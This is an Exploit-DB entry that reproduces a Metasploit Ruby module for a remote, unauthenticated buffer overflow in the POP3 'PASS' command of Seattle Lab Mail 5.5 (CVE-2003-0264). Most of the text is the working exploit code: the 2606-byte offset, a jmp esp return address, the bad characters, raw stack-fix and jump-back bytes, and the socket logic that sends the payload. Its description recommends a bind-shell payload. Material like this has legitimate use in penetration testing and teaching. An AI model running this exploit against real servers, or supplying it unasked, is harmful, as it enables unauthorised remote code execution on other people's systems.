标题: Seattle Lab Mail (SLmail) 5.5 - POP3 'PASS' Remote Buffer Overflow (Metasploit) EDB-ID: 16399 CVE: 2003-0264 类型: REMOTE 平台: WINDOWS 发布日期: 2010-04-30 漏洞利用脚本: ##
# $Id: seattlelab_pass.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Seattle Lab Mail 5.5 POP3 Buffer Overflow',
   'Description'    => %q{
     There exists an unauthenticated buffer overflow vulnerability
    in the POP3 server of Seattle Lab Mail 5.5 when sending a password
    with excessive length.

    Successful exploitation should not crash either the
    service or the server; however, after initial use the
    port cannot be reused for successive exploitation until
    the service has been restarted. Consider using a command
    execution payload following the bind shell to restart
    the service if you need to reuse the same port.

    The overflow appears to occur in the debugging/error reporting
    section of the slmail.exe executable, and there are multiple
    offsets that will lead to successful exploitation. This exploit
    uses 2606, the offset that creates the smallest overall payload.
    The other offset is 4654.

    The return address is overwritten with a "jmp esp" call from the
    application library SLMFC.DLL found in %SYSTEM%\\system32\\. This
    return address works against all version of Windows and service packs.

    The last modification date on the library is dated 06/02/99. Assuming
    that the code where the overflow occurs has not changed in some time,
    prior version of SLMail may also be vulnerable with this exploit. The
    author has not been able to acquire older versions of SLMail for
    testing purposes. Please let us know if you were able to get this
    exploit working against other SLMail versions.
   },
   'Author'         => 'stinko',
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9179 $',
   'References'     =>
    [
     ['CVE', '2003-0264'],
     ['OSVDB', '11975'],
     ['BID', '7519'],
    ],
   'Privileged'     => true,
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread',
    },
   'Payload'        =>
    {
     'Space'    => 600,
     'BadChars' => "\x00\x0a\x0d\x20",
     'MinNops'  => 100,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     ['Windows NT/2000/XP/2003 (SLMail 5.5)', { 'Ret' => 0x5f4a358f, 'Offset' => 2606 } ]
    ],
   'DisclosureDate' => 'May 07 2003',
   'DefaultTarget'  => 0))

  register_options(
   [
    Opt::RPORT(110)
   ], self.class)

 end

 def exploit
  connect

  print_status("Trying #{target.name} using jmp esp at #{"%.8x" % target.ret}")

  banner = sock.get_once
  if banner !~ /^\+OK POP3 server (.*) ready/
   print_error("POP3 server does not appear to be running")
   return
  end

  sock.put("USER #{rand_text_alphanumeric(10)}\r\n")
  res = sock.get_once
  if banner !~ /^\+OK (.*) welcome here$/
   print_error("POP3 server rejected username")
   return
  end

  request  = "PASS " + rand_text_alphanumeric(target['Offset'] - payload.encoded.length)
  request << payload.encoded
  request << [target.ret].pack('V')
  request << "\x81\xc4\xff\xef\xff\xff\x44" # fix the stack
  request << "\xe9\xcb\xfd\xff\xff"         # go back 560 bytes
  request << rand_text_alphanumeric(512)         # cruft
  request << "\r\n"

  sock.put(request)

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16399